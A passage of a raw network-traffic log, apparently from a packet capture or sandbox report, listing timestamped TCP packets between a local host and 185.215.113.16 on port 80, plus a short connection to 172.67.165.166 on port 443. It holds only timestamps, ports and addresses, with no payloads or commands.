Nov 29, 2024 20:07:48.320858955 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.320880890 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.320907116 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.322424889 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.322511911 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.322520018 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.323174000 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.324228048 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.324299097 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.324354887 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.324502945 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.325954914 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.326045036 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.326070070 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.326330900 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.327703953 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.327756882 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.327781916 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.327847958 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.329471111 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.329598904 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.329648018 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.331231117 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.331270933 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.331346035 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.331384897 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.332995892 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.333120108 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.333127022 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.333163977 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.334821939 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.334861994 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.334872007 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.334916115 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.336688995 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.336730957 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.336873055 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.336920023 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.338434935 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.338478088 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.338592052 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.338640928 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.340265036 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.340306044 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.340377092 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.340410948 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.341856003 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.341918945 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.341983080 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.342027903 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.343585968 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.343662024 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.343770027 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.343820095 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.345360994 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.345448017 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.345464945 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.345509052 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.347119093 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.347181082 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.347213030 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.347253084 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.349127054 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.349169016 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.349261045 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.349309921 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.350786924 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.351001978 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.351046085 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.352418900 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.352667093 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.352720976 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.354485035 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.354589939 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.354691029 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.354739904 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.356021881 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.356066942 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.356100082 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.356144905 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.357716084 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.357760906 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.357790947 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.357831001 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.359627962 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.359667063 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.458126068 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.458174944 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.458214998 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.458254099 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.458813906 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.458859921 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.459125042 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.459165096 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.459249973 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.459295988 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.460776091 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.460818052 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.460882902 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.460922003 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.462413073 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.462450027 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.486607075 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.486670017 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.486740112 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.486779928 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.487281084 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.487328053 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.487354040 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.487410069 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.488670111 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.488708019 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.488715887 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.488753080 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.490025997 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.490067005 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.490088940 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.490192890 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.491477966 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.491518974 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.491636038 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.491677046 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.492818117 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.492868900 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.492928028 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.492969036 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.494246006 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.494283915 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.494329929 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.494365931 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.495630026 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.495671988 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.495770931 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.495814085 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.497044086 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.497116089 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.497147083 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.497240067 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.498429060 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.498466015 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.498542070 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.498579979 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.499847889 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.499912977 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.499953032 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.499994993 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.501230001 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.501378059 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.501435995 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.502649069 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.502695084 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.502851963 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.502896070 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.504041910 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.504084110 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.504157066 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.504724026 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.505481958 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.505520105 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.505598068 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.505645990 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.506872892 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.506921053 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.506973028 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.508330107 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.508491993 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.508538008 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.509644985 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.509696960 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.509751081 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.509793997 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.511079073 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.511132002 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.511244059 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.511316061 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.512501001 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.512639046 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.512681007 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.513916969 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.513950109 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.514024973 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.514065981 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.515301943 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.515360117 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.515377998 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.515400887 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.516700029 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.516743898 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.516817093 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.516927004 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.518131971 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.518193960 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.518213987 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.518285990 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.519570112 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.519614935 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.519690037 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.519766092 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.520463943 CET	50078	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:48.520509005 CET	443	50078	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:48.520570040 CET	50078	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:48.520935059 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.520944118 CET	50078	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:48.520960093 CET	443	50078	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:48.521003008 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.521102905 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.521164894 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.522300005 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.522349119 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.522381067 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.522419930 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.523689032 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.523749113 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.523881912 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.523946047 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.525099993 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.525144100 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.525232077 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.525274038 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.526488066 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.526530027 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.526561022 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.526609898 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.527899981 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.527935982 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.528013945 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.528053045 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.529346943 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.529414892 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.529464006 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.529500961 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.530684948 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.530741930 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.530807018 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.530843973 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.532103062 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.532140970 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.532210112 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.532246113 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.533873081 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.533919096 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.534087896 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.534128904 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.535178900 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.535223961 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.535254955 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.535345078 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.536339045 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.536381006 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.536432028 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.536544085 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.537724018 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.537764072 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.537811041 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.537888050 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.539107084 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.539174080 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.539232016 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.539273024 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.540509939 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.540570021 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.540625095 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.540667057 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.541927099 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.541973114 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.542001963 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.542112112 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.543346882 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.543392897 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.543463945 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.543498039 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.544791937 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.544857979 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.544934988 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.544976950 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.546148062 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.546181917 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.546314001 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.546353102 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.547516108 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.547581911 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.547605991 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.547667980 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.548962116 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.549001932 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.549071074 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.549107075 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.550407887 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.550446033 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.550581932 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.550621033 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.551738024 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.551800013 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.551851034 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.551903963 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.553160906 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.553273916 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.553317070 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.554543972 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.554615974 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.554617882 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.554655075 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.668467999 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.668509007 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.668556929 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.668601990 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.669079065 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.669116974 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.669199944 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.669233084 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.670473099 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.670511961 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.670536041 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.670572996 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.671768904 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.671811104 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.696888924 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.696960926 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.697033882 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.697238922 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.697298050 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.697340012 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.698602915 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.698646069 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.698649883 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.698693037 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.699774981 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.699824095 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.699892044 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.699930906 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.701037884 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.701086998 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.701150894 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.701194048 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.702331066 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.702378035 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.702455997 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.702491999 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.703588009 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.703624010 CET	50077	80	192.168.2.4	185.215.113.16
